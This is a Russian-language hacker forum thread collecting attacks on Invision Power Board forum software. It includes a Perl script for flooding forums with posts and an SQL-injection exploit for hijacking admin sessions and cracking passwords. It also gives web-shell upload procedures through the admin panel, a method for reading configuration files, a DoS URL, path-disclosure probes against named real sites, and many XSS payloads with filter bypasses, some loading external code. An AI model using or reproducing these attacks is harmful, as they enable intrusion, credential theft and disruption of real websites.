PS Материал востановлен
Дата публикации: 02.06.2008, 21:32
Автор ettee

Jokester 27.10.2008 17:22

IPB Forum Flood
 
Автор: baltazar

ФЛудит как постами так и топиками,проверено на 2.1.7
PHP код:

#---------------------------- 
#   this programe has been  # 
#   created by NikTrix-Souvico       # 
#   [ 'HellSoft' ] for      # 
#   Flooding IPB Forums     # 
#---------------------------- 
 
#!/usr/bin/perl -w 
use strict
use 
LWP::UserAgent
use 
HTTP::Cookies
 
#Variables 
my  $url        =   undef
my  $login      =   undef
my  $UserName   =   undef
my  $PassWord   =   undef
my  $CookieDate =   1
my  $SID        =   undef
my  $SE         =   undef
my  $MSG        =   undef
 
#Prototype 
sub IPBFlood($); 
 
#Main 
print "\t\tWelcome to IPBFlood 0.1x By Souvik\t\t[ 'NikTrix' ]Team"
 
print 
"Url\t: ";chomp($url=); 
print 
"UserName\t: ";chomp($UserName=); 
print 
"Password\t: ";chomp($PassWord=); 
print 
"Start [to] End\t: ";chomp($SE=); 
print 
"Message\t: ";chomp($MSG=); 
 
my  $ua     =   LWP::UserAgent->new
$ua->agent("Mozilla/4.0"); 
my  $cj     =   HTTP::Cookies->new(file => "N/A" autosave => 0); 
$ua->cookie_jar($cj); 
 
#-get SID 
my  $r      =   $ua->get($url); 
if(
$r->is_success){ 
    
#Find SID ? 
    
($SID) = $r->content =~/\?s=(\w{32})&.*/i
    print 
"SID : $SID"

 
#-Connecting ... 
$r          =   $ua->post($url.$login,[UserName=> $UserName ,PassWord => $PassWord ,CookieDate =>$CookieDate => $SID]); 
if(
$r->is_success){ 
    print 
"[+] Connected" if($r->content =~ /cliquez ici si vous ne souhaitez pas/gi); 
    
my($Start $End) = split(/-/,$SE); 
    foreach(
$Start..$End){ 
        
IPBFlood($_); 
    } 

 
#Subroutines 
sub IPBFlood($){ 
    
my $Topic   =   shift
    
my $get     =   $ua->get($url."s=$SID&showtopic=$Topic"); 
    if(
$get->is_success){ 
        
#Get Subforum ID "f" : variable ! 
        
if( my ($f) = $get->content =~/f=(\d{1,4})/ ){ 
            print 
"[-]Subforum ID : $f & Topic N : $Topic"
            
#Get Post AuthKey for Subforum f=N° 
            
$get    =   $ua->get($url."s=$SID&act=post&do=reply_post&f=$f&t=$Topic"); 
            
#                          act=post&do=reply_post&f=56&t=43988 
            
if($get->is_success){ 
                
##auth_key Ex :  
                
my $auth_key ) = $get->content =~/auth_key.*(\w{32})/i
                
#attach_post_key Ex :  
                
my $attach_post_key ) = $get->content =~/attach_post_key.*(\w{32})/i
                print 
"[-]auth_key : $auth_key[-]attach_post_key : $attach_post_key"
 
 
                
my %form =(st                 =>  0
                           
act                =>  "Post"
                           
s                  =>  "$SID"
                           
f                  =>  "$f"
                           
auth_key           =>  "$auth_key"
                           
removeattachid     =>  "0"
                           
CODE               =>  "03"
                           
t                  =>  "$Topic"
                           
attach_post_key    =>  "$attach_post_key"
                           
parent_id          =>  "0"
                           
"ed-0_wysiwyg_used"=>  "0"
                           
"editor_ids%5B%5D" =>  "ed-0"
                           
Post               =>  "$MSG"
                           
enableemo          =>  "yes"
                           
enablesig          =>  "yes"
                           
iconid             =>  "0" 
                           
); 
                
$r      =   $ua->post($url."s=$SID",\%form); 
                if(
$r->is_success){ 
                    print 
"Send success !" if( length($r->content)< 300); 
                } 
            } 
        } 
    } 


PS Материал востановлен
Дата публикации: 22.07.2008, 00:59
Автор baltazar

Jokester 27.10.2008 17:23

Раскрытие пути
 
Автор: Nightmarе

Раскрытие пути в модуле "галерея" в IPB 2.3.5:

index.php?automodule=gallery&req[]=

Пример:
http://www.obzvon.com/forums/index.php?automodule=gallery&req[]=

Тока щас нашёл, работает везде, возможно кому-то пригодится.

PS Материал востановлен
Дата публикации: 09.08.2008, 02:06
Автор Nightmarе

Jokester 27.10.2008 17:33

Invision Power Board <= 2.3.5 Multiple Vulnerabilities
 
Вложений: 1
Автор: Elekt

Invision Power Board <= 2.3.5

Multiple Vulnerabilities

http://acid-root.new.fr/?0:18
http://packetstormsecurity.org/filedesc/ipb235-multi.txt.html


Экспоит основывается на SQL-inj в параметре "name" файла "sources/action_public/xmlout.php"
и использует технологию классического посимвольного брута данных.
Особенность урленкода %2527 делает его независимым от magic_quotes.

/ipb235/index.php?s=&act=xmlout&do=check-display-name&name=%2527

Цитата:

IPS Driver Error
There appears to be an error with the database.
You can try to refresh the page by clicking here
В эксплоите предусмотрено три режима работы.

-attack 1

Через скуль получают сессию админа.
Из настроек извлекается инфа о привязке сессии к ip-address и browser.
Если таковая привязка имеется (включено по дефолту) и админ заходил не из под прокси - атака невозможна.
В ином случае - извлекаются ip-address и browser админа и производится попытка войти под админом.
В случае успешной попытки эксплоит прописывает веб-шелл в файл языка.

Вероятность успеха атаки мала, ибо:
~ сессия имет по дефолту привязку к айпи и браузеру
~ время жизни сессии скорее всего просрочено. придется караулить админа, либо спровоцировать его зайти в админку.

Сам процесс "ожидания" в эксплоите реализован в цикле - ожидание появления новой сессии.

Пример запуска эксплойта:
php ipb235-multi.txt -attack 1 -url http://www.ipb-235.com/forum/

-attack 2

Как ни удивительно - в сессии cookie *ipb_stronghold пользователя присутствует пароль к БД.
Используя атаку по словарю, эксплоит пытается сбрутить пароль к БД из хеша сессии.
Через скуль эксплоит получает имя текущего пользователя БД.

Необходима валидная учетная запись, либо куки со сниффера.
Вероятность успеха мала и зависит в большей мере от вашего словаря и рэндомности пароля.

Пример запуска эксплойта:
php ipb235-multi.txt -attack 2 -url http://www.ipb-235.com/forum/ -ip <ВАШ_IP> -dict passwd.txt -uname mynick -pwd password

Разложим алгоритм генерации сессии:

PHP код:

 $md5 md5(trim($line).$this->p_sql_u); 
$md5 md5($this->p_uid.'-'.$ip_a[0].'-'.$ip_a[1].'-'.$this->p_hash).$md5
$md5 md5($md5); 

Преобразуем к:
PHP код:

PHP код:
 
md5(md5($this->p_uid.'-'.$ip_a[0].'-'.$ip_a[1].'-'.$this->p_hash).md5($pass.$this->p_sql_u)) 

Тогда
~ если *member_id нашего юзера, например, 1745
~ если у нас ip, например, 192.168.5.235
~ если cookie *pass_hash, например, 12345678901234567890123456789012
~ если мы знаем заведомо\получили через SQL-inj имя текущего SQL-юзера к БД, например, sqladmin@localhost
Тогда:
PHP код:

md5(md5('1745-192-168-12345678901234567890123456789012'). md5($pass.'sqladmin')) 

Посмотрел модули в PasswordPro - можно брутить пасс из него по маске.
Используем модуль md5(md5($salt).md5($pass))
Ставьте атаку по маске, например, как
?|?|?|?|?|?|?|?|sqladmin
где как видите в конце маски идет sql юзер БД.
Ну подмаску ?| (a-z) можете выбрать и другую, однако тройной мд5 будет аццки тормозить на широком диапазоне символов...

-attack 3

И наконец-то класическая добыча пароля пользователя + соль.
Встроенный в эксплоит брутфорс попробует перебрать найденный хеш по словарю,
хотя рекомендую перебирать чем-нить по шустрее.

php ipb235-multi.txt -attack 3 -url http://www.ipb-235.com/forum/ -dict passwd.txt

Реализован режим обхода IDS. Вобщем, автору DarkFig - большой респект.

Я немного оптимизировал код.
Максимальная скорость работы возросла в среднем в 2.5 раза.
На примере атаки #3 : оригинальному эксплоиту потребуется около 500 запросов для брута md5 хеша + соли.
Мой вариант для тойже задачи потребует не более 200
ver1.5
-----------------------
Сдесь аттач с программой :) (у кого права есть, поставьте, будте так добры )
-----------------------
PS Материал востановлен
Дата публикации: 30.08.2008, 10:50
Автор Elekt

Jokester 27.10.2008 17:34

Автор: Elekt

Исходя из адвизори
http://acid-root.new.fr/?0:18
есть еще три других существенных бага, не используемых в эксплоите.

1) Утечка админской сессии

Идентификатор сессии администратора содержится в HTTP заголовке "Referer" при выборе "Switch between standard and rich text editor".
Если атакующий использует удаленный аватар, то становится возможной кража сессии администратора, передаваемая в реферере при обращении к удаленному аватару.

2) Отказ в обслуживании

Неправильное использование пост-инкремента в защитной функции разбора массивов.
Сервер будет рекурсивно обрабатывать не первые 10 подмассивов, а все.

/index.php?foo[][][][][][][][][][][][][][][][][][][][][][][][][][][][][][][]=123


соответственно чем больше скобок, тем дольше будет обработка

3) HTTP Response Splitting attacks

INFO[base_url] не определен в конфиге

/admin.php?INFO[base_url]=http://phishing-hax.com/

PS Материал востановлен
Дата публикации: 02.09.2008, 09:45
Автор Elekt

Jokester 27.10.2008 17:52

Чтение файлов при помощи админки
 
Автор: Dr.Frank

Чтение файлов при помощи админки(если шелл залить не получилось).
Тестил на версиях 2.3.1 2.3.3

В "управление SQL"->"инструменты"->"выполнить SQL запрос" вводим:

Цитата:

select * from ibf_attachments where attach_is_image=0
Берем номер любого файла(attach_id).
Выполняем следующий запрос:

Цитата:

update ibf_attachments set attach_location='../conf_global.php', attach_ext='php' where attach_id=attach_id
или такой(форум иногда точки заменяет спец.символами):

Цитата:

update ibf_attachments set attach_location = 0x2e2e2f636f6e665f676c6f62616c2e706870, attach_ext='php' where attach_id=attach_id

и по адресу
http://forum/index.php?act=attach&type=post&id=attach_id
должен появиться файл с настройками conf_global.php

PS Материал востановлен
Дата публикации: 16.09.2008, 15:32
Автор Dr.Frank

PEHAT 30.11.2008 19:45

ibStore <= 3.2.0
 
DOS

http://target/index.php?autocom=store&CODE=item_effect&type=rese ll,BENCHMARK(10000000,BENCHMARK(10000000,md5(curre nt_date)))

brain[pillow] 04.05.2009 00:50

Invision Power Board 3.0.0 Beta 5 Active XSS & Path disclosure

http://milw0rm.com/exploits/8538

DanST 19.08.2009 12:28

Цитата:

Сообщение от jokester
Автор: Elekt

Invision Power Board <= 2.3.5

Multiple Vulnerabilities

Автор Elekt[/right]

Архив битый :(

Root-access 03.12.2009 18:35

I.P.B. Раскрытие путей

Код:

http://victim.com/ipb/?&act=attach&code=attach_upload_remove
Примеры на популярных форумах:

PickUp.Ru:

Код:

http://www.pickupforum.ru/?&act=attach&code=attach_upload_remove

Fatal error: Call to a member function get_space_allowance() on a non-object in /home/pickupforum/pickupforum.ru/sources/classes/attach/class_attach.php on line 993

Fishki.Net:

Код:

http://forum.fishki.net/?act=attach&code=attach_upload_remove

Fatal error: Call to a member function get_space_allowance() on a non-object in /www/forum.fishki.net/sources/classes/attach/class_attach.php on line 993


LeverOne 17.12.2009 18:19

Множественный активный межсайтовый скриптинг в IP.Board 3.0.x-3.0.5
 
Множественный активный межсайтовый скриптинг в IP.Board 3.0.x-3.0.5

Версия 3.0.5 на текущий момент является последней в третьей ветке этого форума. Вообще говоря, её появление - хорошая иллюстрация видимости прогресса в обеспечении безопасности, создающейся при появлении более новых версий. Так, третья ветка - это почти возврат к 2005 году в плане защиты от XSS.

Мною будет приведен список подвида активных xss-уязвимостей, основанных на разрушении структуры тега. Но это не все имеющиеся там XSS, их Я оставляю будущим поколениям. Я не стану также показывать готовые примеры эксплойтов, а просто отошлю всех интересующихся к источнику, в котором описаны пути преодоления трудностей его составления: https://forum.antichat.ru/showthread.php?t=96612

Однако несколько моментов все же стоит осветить:

1) Запрет expression преодолевается путем кодирования одного из символов комментария в dec (expr&*#47;**/ession) вне пределов стилевого атрибута форума. Но обращение с expression требует немалой осторожности. Исходя из моего опыта саму заглушку expression следует прописывать по старинке в отдельном атрибуте ( style=gg:expression(eval(this.blabla)) blabla=confirm(1);this.blabla=null//), и НИКОГДА не пытаться вставлять рабочий код в само выражение - очень нестабильная конструкция.

2) Мозиловский xml-файл, чтобы уязвимость сработала не только в несвежих версиях FF 2.x, должен быть залит на тот же домен. По умолчанию это возможно.

3) Сокрытие кода возможно через цвет, как описано в источнике, но лучше через стиль и грамотный отказ от вложенных и спаренных тегов в пользу структуры скрещенных bb-тегов. Этот выбор вам предоставится.

Объясню на примере:

Возьмем структуру вложенных bb-тегов:

[*url]http://www.domain.com[*entry=100 xss]Click_me![*/entry][*/url]

на выходе :

<a href='http://www.domain.com<a href='http://domain.com/index.php?app=blog&amp;module=display&amp;section= blog&amp;showentry=100 xss'>Click_me</a>' class='bbc_url' title='External link' rel='nofollow'>http://www.domain.co...ick_me![*/entry]</a>

Видно, что после тега ссылки остались развалины тега, которые бросятся в глаза.

Теперь переделаем это в стиле скрещенных bb-тегов:

[*url]http://www.domain.com[*entry=100 xss]Click_me![*/url][*/entry]

<a href='http://www.domain.com<a href='http://domain.com/index.php?app=blog&amp;module=display&amp;section= blog&amp;showentry=100 xss'>Click_me' class='bbc_url' title='External link' rel='nofollow'>http://www.domain.co...0 xss]Click_me!</a></a>

И здесь уже все прежние развалины ушли в потроха, нам осталось всего лишь скрыть их стилем и никаких видимых следов присутствия ни в IE, ни в FF не будет.

[*url]http://www.domain.com[*entry=100 bla=confirm(/lo/),this.bla=null style=];display:none;gg:expr&*#47;**/ession(eval(this.bla));-&*#92;&*#54;Doz-binding:url()[*/url][*/entry]


<a href='http://www.domain.com<a href='http://domain.com/index.php?app=blog&amp;module=display&amp;section= blog&amp;showentry=100 bla=confirm(1),this.bla=null style='>;display:none;gg:expr&*#47;**/ession(eval(this.bla));-&*#92;&*#54;Doz-binding:url()' class='bbc_url' title='External link' rel='nofollow'>http://www.domain.co...)</a></a>

Вот сам список. Все варианты разрушения структуры привожу по тем соображениям, что характер разрушения во многих случаях разнится.

1) [*email=user@domain.com]Clickhere![*/email]

A) [*email=user@domain.com[*email=user@domain.com][*/email]][*/email]
B) [*email=user@domain.com[*font=times]This]Click[*/font] here![*/email]
C) [*email=user@domain.com[*color=red]This]Click[*/color] here![*/email]
D) [*email=user@domain.com[*background=red]Red_background_behind_this_text]Clickhere![*/background][*/email]
E) [*email=user@domain.com[*member=admin]runs this site.]Clickhere![*/email]
F) [*email=user@domain.com[*blog=100]Clickme!]Click[*/blog]here![*/email]
G) [*email=user@domain.com[*entry=100]Click_me!]Click[*/entry]here![*/email]

2) [*url]http://www.domain.com[*/url]

A) [*url]http://www.domain.com[*email]user@domain.com[*/email][*/url]
B) [*url]http://www.domain.com[*email=user@domain.com]Clickhere![*/email][*/url]
C) [*url]http://www.domain.com[*size=7]This[*/size][*/url]
D) [*url]http://www.domain.com[*font=times]This[*/font][*/url]
E) [*url]http://www.domain.com[*color=red]This[*/color][*/url]
F) [*url]http://www.domain.com[*background=red]Red_background_behind_this_text[*/url][*/background]
G) [*url]http://www.domain.com[*blog=100]Clickme![*/blog][*/url]
H) [*url]http://www.domain.com[*entry=100]Click_me![*/entry][*/url]

3) [*url=http://www.domain.com]Clickhere![*/url]

A) [*url=http://www.domain.com[*email=user@domain.com]Clickhere!]Click[*/email]here![*/url]
B) [*url=http://www.domain.com[*font=times]This]Cli[*/font]ckhere![*/url]
C) [*url=http://www.domain.com[*color=red]This]Cli[*/color]ckhere![*/url]
D) [*url=http://www.domain.com[*background=red]Red_background_behind_this_text]Clickhere![*/background][*/url]
E) [*url=http://www.domain.com[*member=admin]runs this site.]Clickhere![*/url]
F) [*url=http://www.domain.com[*blog=100 blabla]Clic]kme![*/blog]Clickhere![*/url]
G) [*url=http://www.domain.com[*entry=100]Click_me!]Click[*/entry]here![*/url]

4) [*font=times]This[*/font]

A) [*font=times[*font=times]This[*/font]]This[*/font]
B) [*font=times[*member=admin]runs this site.]This[*/font]
C) [*font=times[*blog=100]Clickme!]Th[*/blog]is[*/font]
D) [*font=times[*entry=100]Click_me!]Th[*/entry]is[*/font]


5) [*color=red]This[*/color]

A) [*color=red[*color=red]This[*/color]]This[*/color]
B) [*color=red[*font=times]This]Th[*/font]is[*/color]
C) [*color=red[*member=admin]runs this site.]This[*/color]
D) [*color=red[*blog=100]Clickme!]Th[*/blog]is[*/color]
E) [*color=red[*entry=100]Click_me!]Th[*/entry]is[*/color]


6) [*topic=100]Clickme![*/topic]

A) [*topic=100[*topic=100]Clickme![*/topic]]Clickme![*/topic]
B) [*topic=100[*post=100]Clickme!]Click[*/post]me![*/topic]
C) [*topic=100[*color=red]This]Clic[*/color]kme![*/topic]
D) [*topic=100[*font=times]This]Clic[*/font]kme![*/topic]
E) [*topic=100[*url=http://www.domain.com]Clickhere!]Cli[*/url]ckme![*/topic]
F) [*topic=100[*email=user@domain.com]Clickhere!]Clickme![*/topic][*/email]
G) [*topic=100[*acronym='Laugh Out Loud']lo]l[*/acronym]]Clickme![*/topic]
H) [*topic=100[*background=red]Red_background_behind_this_text]Clickme![*/background][*/topic]
I) [*topic=100[*member=admin]runs this site.]Clickme![*/topic]
J) [*topic=100[*blog=100]Clickme!]Clic[*/blog]kme![*/topic]
K) [*topic=100[*entry=100]Click_me!]Clickme![*/entry][*/topic]

7) [*post=100]Clickme![*/post]

A) [*post=100[*topic=100]Clickme![*/topic]]Clickme![*/post]
B) [*post=100[*email=user@domain.com]][*/post][*/email]
C) [*post=100[*acronym=Laugh]lol]Clickme![*/acronym][*/post]
D) [*post=100[*background=red]Red_background_behind_this_text]Clickme![*/background][*/post]
E) [*post=100[*member=admin]runs this site.]Clickme![*/post]
F) [*post=100[*blog=100]Clickme!]Clickme![*/post][*/blog]
G) [*post=100[*entry=100]Click_me!]Click[*/entry]me![*/post]

8) [*acronym='Laugh Out Loud']lol[*/acronym]

A) [*acronym='Laugh Out Loud[*email=user@domain.com]Clickhere!']lol[*/email][*/acronym]
B) [*acronym='Laugh Out Loud[*url=http://www.domain.com]Clickhere!']lol[*/url][*/acronym]
C) [*acronym='Laugh Out Loud[*font=times]This']lol[*/font][*/acronym]
D) [*acronym='Laugh Out Loud[*color=red]This']lol[*/color][*/acronym]
E) [*acronym='Laugh Out Loud[*background=red]Red background behind this ]text[*/background]']lol[*/acronym]
F) [*acronym='Laugh Out Loud[*member=admin]runs this site.']lol[*/acronym]
G) [*acronym='Laugh Out Loud[*acronym='Laugh Out Loud']lol[*/acronym]']lol[*/acronym] --> реинкарнация xss в IPB 2.3.5 от brain[pillow]
H) [*acronym=Laugh[*blog=100]Clickme!]lol[*/blog][*/acronym]

9) [*background=red]Red_background_behind_this_text[*/background]

A) [*background=red[*font=times]Thi]sRed_background_behind_this_text[*/font][*/background]
B) [*background=red[*color=red]This]Red_background_behind_this_text[*/color][*/background]
C) [*background=red[*background=red]Red_background_behind_this_text[*/background]]Red_background_behind_this_text[*/background]
D) [*background=red[*member=admin]runs this site.]Red_background_behind_this_text[*/background]
E) [*background=red[*blog=100]Clickme!]Red [*/blog]background behind this text[*/background]
F) [*background=red[*entry=100]]Red[*/entry][*/background]

LeverOne. 17.12.2009

Pashkela 19.12.2009 04:07

Залитие шелла в IPB 3 из админпанели (тестилось на IPB 3.0.1 nulled):

вариант1:

Поддержка->Управление SQL->Выполняющиеся процессы->Выполнить новый запрос

select 0x3c3f706870696e666f28293b3f3e into outfile 'Z:/home/site.ru/www/uploads/shell.php'

полный путь можно посмотреть так:

->Поддержка, там будет сверху написана версия PHP и слева ссылка на PHP INFO

шелл: http://site.ru/uploads/shell.php

PS: Нужны соответствующие права

вариант2:

Форумы->Прикрепляемые файлы->Типы файлов

жмем "Добавить новый тип"->"Использовать какой-нибудь тип как базовый?" - выбираем "Основан на типе php"->"Расширение прикрепляемого файла" - php3 (просто php есть в списке по умолчанию и при загрузке автоматически переименовывается в .txt)->"MIME-тип файла" - unknown/unknown->"Разрешить использовать этот тип файлов, как аватар или фотографию?" - да.

Топаем в свой профиль:

http://site.ru/index.php?app=core&module=usercp&tab=members&area= avatar

грузим аву-шелл с расширением php3 и получаем шелл по адресу:

http://site.ru/uploads/av-1.php3

====================================

Раскрытие пути:

Код:

http://site.ru/index.php?app[]=core&module=usercp&tab=forums&area=watch&watch=topic&do=list&tid=1
Код:

Warning: Constants may only evaluate to scalar values in Z:\home\site.ru\www\admin\sources\base\ipsRegistry.php on line 1400
Код:

http://site.ru/index.php?app=core&module=usercp&tab[]=forums&area=watch&watch=topic&do=list&tid=1
Код:

Warning: Illegal offset type in isset or empty in Z:\home\site.ru\www\admin\sources\base\core.php on line 2141
Код:

http://site.ru/index.php?app=members&section=view&module=list&showall=0&sort_key[]=members_display_name&sort_order=asc&max_results=20&app=members&section=view&module=list&quickjump=A
Код:

Warning: Illegal offset type in isset or empty in Z:\home\site.ru\www\admin\applications\members\modules_public\list\view.php on line 234
Код:

http://site.ru/index.php?app=members&section=view&module=list&showall=0&sort_key=members_display_name&sort_order[]=asc&max_results=20&app=members&section=view&module=list&quickjump=A
Код:

Warning: Illegal offset type in isset or empty in Z:\home\site.ru\www\admin\applications\members\modules_public\list\view.php on line 235
Код:

http://site.ru/index.php?app=members&section=view&module=list&showall=0&sort_key=members_display_name&sort_order=asc&max_results[]=20&app=members&section=view&module=list&quickjump=A
Код:

Warning: Illegal offset type in isset or empty in Z:\home\site.ru\www\admin\applications\members\modules_public\list\view.php on line 237
Код:

http://site.ru/index.php?app=members&section=view&module=list&showall=0&sort_key=members_display_name&sort_order=asc&max_results=20&app=members&section=view&module=list&quickjump[]=A
Код:

Warning: urldecode() expects parameter 1 to be string, array given in Z:\home\site.ru\www\admin\applications\members\modules_public\list\view.php on line 297

Root-access 05.01.2010 00:25

Множественные уязвимости I.P.B.


Вообще, IPB кишит всяческими ошибками.
В паблик части раскрытия путей можно найти, преобразовав входные post-данные в массив.
Это и поле подписи, и значение дня рождения в личных данных, и тема/текст личного сообщения или email-сообщения пользователю. Раскрытие дают функции checkdate(), urlencode(), urldecode() и другие...
XSS тоже можно накопать немало.
Уязвимость: активная XSS.
Требования: права админа =)
Описание:
http://localhost/nipb/admin/index.php?adsess=SESSID&app=core&module=tools&sect ion=qanda&do=new
Создаём новый вопрос с текстом <script>alert()</script> и имеем активную XSS.
Происходит из-за недостаточной фильтрации данных в \admin\applications\core\modules_admin\tools\qanda .php:
PHP код:

        /* Build DB Array */ 
        
$db_array = array(  
                            
'qa_question'    => $_POST['question'], 
                            
'qa_answers'    => $_POST['answers'], 
                        ); 

...
PHP код:

       $this->DB->insert'question_and_answer'$db_array ); 


Уязвимость: активная XSS
Требования: проверялось на 3.0.1, на 3.0.4 не работает; браузеры: IE, FF
Описание:
Посмотрим на код файла \admin\sources\classes\bbcode\core.php. Среди прочего там есть функция "защиты" от XSS:
PHP код:

    public function checkXss$txt=''$fixScript=false 
    { 
        
//----------------------------------------- 
        // Opening script tags... 
        // Check for spaces and new lines... 
        //----------------------------------------- 
         
        
if ( $fixScript 
        { 
            
$txt preg_replace"#<(\s+?)?s(\s+?)?c(\s+?)?r(\s+?)?i(\s+?)?p(\s+?)?t#is"        "&lt;script" $txt ); 
            
$txt preg_replace"#<(\s+?)?/(\s+?)?s(\s+?)?c(\s+?)?r(\s+?)?i(\s+?)?p(\s+?)?t#is""&lt;/script"$txt ); 
        } 
         
        
//----------------------------------------- 
        // Here we can do some generic checking for XSS 
        // This should not be considered fool proof, though can provide 
        //    a centralized point for maintenance and checking 
        //----------------------------------------- 
         
        
$txt str_ireplace"(j)avascript" "\\1avascript"$txt ); 
        
$txt str_ireplace"alert"      "alert"          $txt ); 
        
$txt str_ireplace"behavior"   "behavior"          $txt ); 
        
$txt preg_replace"/(e)((\/\*.*?\*\/)*)x((\/\*.*?\*\/)*)p((\/\*.*?\*\/)*)r((\/\*.*?\*\/)*)e((\/\*.*?\*\/)*)s((\/\*.*?\*\/)*)s((\/\*.*?\*\/)*)i((\/\*.*?\*\/)*)o((\/\*.*?\*\/)*)n/is" "\\1xp​ression"     $txt ); 
        
$txt preg_replace"/(e)((\\\|\)*)x((\\\|\)*)p((\\\|\)*)r((\\\|\)*)e((\\\|\)*)s((\\\|\)*)s((\\\|\)*)i((\\\|\)*)o((\\\|\)*)n/is"       "\\1xp​ression"           $txt ); 
        
$txt preg_replace"/m((\\\|\)*)o((\\\|\)*)z((\\\|\)*)\-((\\\|\)*)b((\\\|\)*)i((\\\|\)*)n((\\\|\)*)d((\\\|\)*)i((\\\|\)*)n((\\\|\)*)g/is"       "moz-​binding"           $txt ); 
        
$txt str_ireplace"about:"     "about:"         $txt ); 
        
$txt str_ireplace"<body"      "&lt;body"            $txt ); 
        
$txt str_ireplace"<html"      "&lt;html"            $txt ); 
        
$txt str_ireplace"document." "document."      $txt ); 
        
$txt str_ireplace"window."   "window."      $txt ); 
         
        
$event_handlers    = array( 'mouseover''mouseout''mouseup''mousemove''mousedown''mouseenter''mouseleave''mousewheel'
                                 
'contextmenu''click''dblclick''load''unload''submit''blur''focus''resize''scroll'
                                 
'change''reset''select''selectionchange''selectstart''start''stop''keydown''keyup'
                                 
'keypress''abort''error''dragdrop''move''moveend''movestart''activate''afterprint'
                                 
'afterupdate''beforeactivate''beforecopy''beforecut''beforedeactivate''beforeeditfocus'
                                 
'beforepaste''beforeprint''beforeunload''begin''bounce''cellchange''controlselect'
                                 
'copy''cut''paste''dataavailable''datasetchanged''datasetcomplete''deactivate''drag'
                                 
'dragend''dragleave''dragenter''dragover''drop''end''errorupdate''filterchange''finish'
                                 
'focusin''focusout''help''layoutcomplete''losecapture''mediacomplete''mediaerror''outofsync'
                                 
'pause''propertychange''progress''readystatechange''repeat''resizeend''resizestart''resume'
                                 
'reverse''rowsenter''rowexit''rowdelete''rowinserted''seek''syncrestored''timeerror'
                                 
'trackchange''urlflip'
                                ); 
         
        foreach( 
$event_handlers as $handler 
        { 
            
$txt str_ireplace'on' $handler'on' $handler$txt ); 
        } 

        return 
$txt
    } 

Далее в коде идут некоторые замены спецсимволов, но функция htmlspecialchars() не применяется.
Обратные кавычки (`backtips`) не фильтруются.
Кроме того, сразу бросается в глаза, что протокол data не фильтруется.
Составляем запрос (для IE), внедряемся в параметр style тега span:
Код:

[*color=red; background-image:url(javascript:eval(unescape(/%61%6C%65%72%74%28%29/.source)))]asd[/*color]
Для FF:
Код:

[*color=red; \2d\6d\6f\7a\2d\62\69\6e\64\69\6e\67:url(\68\74\74\70\3a\2f\2f\68\61\2e\63\6b\65\72\73\2e\6f\72\67\2f\78\73\73\6d\6f\7a\2e\78\6d\6c\23\78\73\73)]asd[/*color]

Уязвимость: активная XSS
Требования: -
Описание:
//В данном посте косяки, грядут переделки
В последней версии (3.0.5) код функции checkXss() слегка иной, строчка с заменой javascript превратилась в следующую:
PHP код:

 $txt preg_replace"/(j)avascript/i" "\\1avascript"$txt ); 

Но сломаный тег не фильтруется (например, java/**/script). К тому же, не фильтруется протокол data.
Но зато, к фильтру добавилось обрезание всего, что находиться за символом ";". Что ж, зашифруем в адресе data ";"->%3B. Переделаем запрос и получим самодостаточную xss:
Код:

[*color=background:url(data:text/html%3Bbase64,PHNjcmlwdD5hbGVydChkb2N1bWVudC5jb29raWUpPC9zY3JpcHQ+Cg==)]asd[/*code]

//Далее без претензии на уникальность, развиваю пост LeverOne'а
Теперь вспомним о xss с разрушением тегов.
В IPB фильтруются javascript и -moz-binding.
Не беда - составим запросы с обходом этой фильтрации (разбиваем javascript и шифруем -moz-binding).
Новый запрос для ie:
Код:

[acronym='[acronym=' style=background:url(java/**/script:eval(unescape(/%61%6C%65%72%74%28%29/.source))) ']asd']fgh[/acronym]asd[/acronym]
Для ff: (здесь зашифрован адрес http://ha.ckers.org/xssmoz.xml#xss)
Код:

[acronym='[acronym=' style=\2d\6d\6f\7a\2d\62\69\6e\64\69\6e\67:url(\68\74\74\70\3a\2f\2f\68\61\2e\63\6b\65\72\73\2e\6f\72\67\2f\78\73\73\6d\6f\7a\2e\78\6d\6c\23\78\73\73) ']asd']fgh[/acronym]asd[/acronym]

Pashkela 01.02.2010 22:41

Залитие шелла из админки IPB 3... (тестилось на IPB 3.0.1 nulled и 3.0.2-лицуха) - еще один вариант по аналогии с этим постом:

https://forum.antichat.ru/showpost.php?p=977862&postcount=10

но небольшие изменения:

1. Ставим себе на локалхост IPB 3.0.1 к примеру нуленый

2. Идем в админку - Внешний вид - IP.Board - Настройки - смотрим "Директория с изображениями" - по дефолту "public/style_images/master"

3. Идем в нашу папочку (на примере Denwer)

C:\WebServers\home\drup614.ru\www\public\style_ima ges\master

и суем туда наш любимый wso2.php

4. Админка - Внешний вид - Импорт / Экспорт - Экспорт - Экспорт изображений - Какие изображения экспортировать? - IP.Board - Экспорт изображений - получаем архив images-master.xml.gz

5. В архиве файлик images-master.xml

Переименовываем архив! таким образом - обязательная процедура, иначе при попытке импорта на целевом сайте изображений стиля напишет "папка public/style_images/master уже существует!" - images-master2.xml.gz, название файлика в архиве сменится автоматом

6. Админка - Внешний вид - Импорт / Экспорт - Импорт - Импорт изображений - Загрузка XML-архива с изображениями - Обзор - images-master2.xml.gz - Импорт изображений

Рядом с

C:\WebServers\home\drup614.ru\www\public\style_ima ges\master

появится

C:\WebServers\home\drup614.ru\www\public\style_ima ges\master2

где будет лежать все тоже самое, плюс наш шелл

в итоге шелл будет по адресу:

http://forum.site.ru/public/style_images/master2/wso2.php

PS: не забудьте потом переместить шелл и удалить каталог master2

Готовый архив с картинками и шеллом можно взять тут , останется только изменить циферку


Время: 19:29